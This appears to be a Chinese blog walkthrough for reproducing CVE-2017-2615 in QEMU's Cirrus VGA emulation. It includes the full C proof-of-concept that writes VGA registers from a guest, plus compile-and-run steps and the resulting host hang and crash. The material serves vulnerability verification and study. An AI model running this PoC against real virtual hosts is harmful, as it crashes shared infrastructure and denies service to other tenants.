CVE-2017-2615 cirrus vga 漏洞POC及复习过程

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
---------------------------------------------------------------------------------------------------
另提供CVE-2017-2615漏洞成因分析文章:https://woj.app/2972.html
---------------------------------------------------------------------------------------------------
首先应该在linux下执行命: lspci,如果vga型号为cirrus会存在问题
首先连接自己的linux服务器然后查看是否支持gcc编译环境。
如果输入gcc 提示:-bash: line 9: gcc : command not found 则表示没有gcc环境,就需要安装gcc环境。
安装gcc编译环境
首先应查看操作系统及版本。命令:uname -a
Linux xxxx.com 2.6.32-504.23.4.el6.centos.plus.x86_64 #1 SMP Wed Jun 10 13:09:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
这里操作系统为64位操作系统。
然后查看操作系统及版本。命令:lsb_release -a
LSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch
Distributor ID: CentOS
Description: CentOS release 6.5 (Final)
Release: 6.5
Codename: Final
这里是: CentOS release 6.5 它对应的gcc版本为4.7,为什么对应的版本是4.7如下图:
这里安装gcc时又提示缺少其他相关文件。如下图:
因为安装其他文件可能还会缺少另一些文件上方已经报错提示。这里为了省事网上直接找到了全部相关的安装包。(这里需要注意,小心别人的安装包可能捆绑病毒)如图:
安装成功就是利用gcc编译poc然后执行了。POC代码如下:
/*
* CVE-2017-2615 PoC
*
* Qiang Li of the Gear Team, Qihoo 360 Inc.
*
* #gcc poc.c -o poc
* #./poc
*
*/
#include <sys/io.h>
#include
void write_sr(int idx,int val)
{
outb(idx,0x3c4);
outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
outb(idx,0x3ce);
outb(val,0x3cf);
}
int main()
{
iopl(3);
write_sr(0x07,1);
write_gr(0x31,0x80);
write_gr(0x26,0xff);
write_gr(0x27,0xff);
write_gr(0x24,1);
write_gr(0x20,0xff);
write_gr(0x21,0xff);
write_gr(0x22,0x0);
write_gr(0x23,0x0);
write_gr(0x28,0);
write_gr(0x29,0);
write_gr(0x2a,0);
write_gr(0x2c,0xff);
write_gr(0x2d,0xff);
write_gr(0x2e,0xff);
write_gr(0x30,1);
write_gr(0x2a,0);
return 0;
}
复制所有代码中的内容,在linux下新建一个poc.c的文件,把上面的代码粘帖进去。
然后执行命令(编译poc脚本): gcc poc.c -o poc
然后再次执行编译后的poc: ./poc
执行后这台虚拟机的主机控制台查看,执行命令的虚拟机的状态,如果异常就是没打补丁。
存在此漏洞执行POC后的 返回“The semaphore timeout period has expired.”,系统存在一定延时,然后死机,无法响应
如下图
此时通过gdb调试可以宿主机通过gdb调试(gdb -p PID),可以看到触发了段异常,具体响应如下图:
对于修复过的设备多次执行均不会存在上述现象
文章来源:http://www.0xby.com/259.html
最后文章引用了多处内容。引用内容地址如下:
poc为360团队贡献,引用地址:http://seclists.org/oss-sec/2017/q1/469
文章gcc环境集合包文章地址:http://blog.csdn.net/lichen_net/article/details/70211204
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏